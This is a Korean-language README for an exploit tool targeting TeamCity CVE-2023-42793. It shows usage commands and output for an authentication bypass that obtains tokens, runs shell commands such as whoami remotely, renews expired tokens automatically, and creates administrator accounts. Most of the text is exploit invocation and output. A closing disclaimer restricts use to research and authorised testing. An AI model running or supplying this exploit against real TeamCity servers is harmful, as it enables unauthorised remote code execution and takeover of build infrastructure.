
TeamCity CVE-2023-42793용 익스플로잇으로, 토큰 기반 인증 우회를 통해 원격 코드 실행 및 관리자 계정 생성을 가능하게 합니다.
명령 실행 예시:
python3 exploit.py -u http://localhost
User add token -> eyJ0eXAiOiAiVENWMiJ9.YkZ0V2tzR3NvWXhZelRfZTN0cFF1SkZjVWVz.N2M0Njk2ZTgtNWZhYi00MTU5LWJmZjQtYWU1MDFlYzZiMGY1
Successful execution, preparing for the RCE
Command -> whoami
StdOut:tcuser
StdErr:
Exit code: 0
Time: 16ms
Command -> ls -la /home
StdOut:total 8
drwxr-xr-x 2 root root 4096 Apr 15 2020 .
drwxr-xr-x 1 root root 4096 Feb 28 2024 ..
StdErr:
Exit code: 0
Time: 23ms
토큰이 만료된 경우, 새로운 토큰이 자동으로 생성됩니다.
Command -> whoami
[-] Token expired, restarting...
[!]Error deleting user
User add token -> eyJ0eXAiOiAiVENWMiJ9.ZVJiSTB6SGZWSEpldzhEa1o4cUdsWFlQRTJJ.NGQxOTg4ZWItNTJmYS00OWM3LWIwYmItZjcyODNkYjg5NTJj
Successful execution, preparing for the RCE
Command -> whoami
StdOut:tcuser
StdErr:
Exit code: 0
Time: 24ms
관리자 사용자 생성:
python3 user_add_administrator.py -t http://127.0.0.1 -u cxdxnt -p testing -u [email protected]
User add token -> eyJ0eXAiOiAiVENWMiJ9.Z21xU3ZtTXNYUXE2WGdkaWJCOFV4QWsxN2s0.NmMyZDE0YTItMDQ1OS00NGQ2LTk2YWEtNjg1MTU3ZGNiNjM0
Create username administrator
이미 사용자가 존재하는 경우:
python3 user_add.py -t http://127.0.0.1 -u cxdxnt -p testing -u [email protected]
User add token -> eyJ0eXAiOiAiVENWMiJ9.Q3ZFa0ExR2tBcGlSMUZ3ZWNyMUtNN0VPQmFN.Mzk0M2EyZjAtMzVhNi00YTU0LWFmNTctMTg4MThkZmU5MDA3
is already in use by some other user.
이 저장소는 컴퓨터 보안 분야의 교육 및 연구 목적으로만 제공됩니다. 여기에 설명된 스크립트와 기술을 사용하여 허가 없이 시스템을 침해하는 것은 불법이며, 아르헨티나 법률 26.388, 미국 CFAA, 부다페스트 협약 등 국가 및 국제 법률을 위반합니다.
저자는 여기에 제공된 정보의 오용에 대해 책임을 지지 않습니다. 이 자료의 사용은 통제된 환경, 연구소, CTF, 또는 시스템 소유자의 명시적 허가가 있는 경우에만 허용됩니다.
테스트를 수행하려면 반드시 허가를 받았는지 확인하십시오. 허가 없는 해킹은 윤리적 해킹이 아니라 범죄입니다.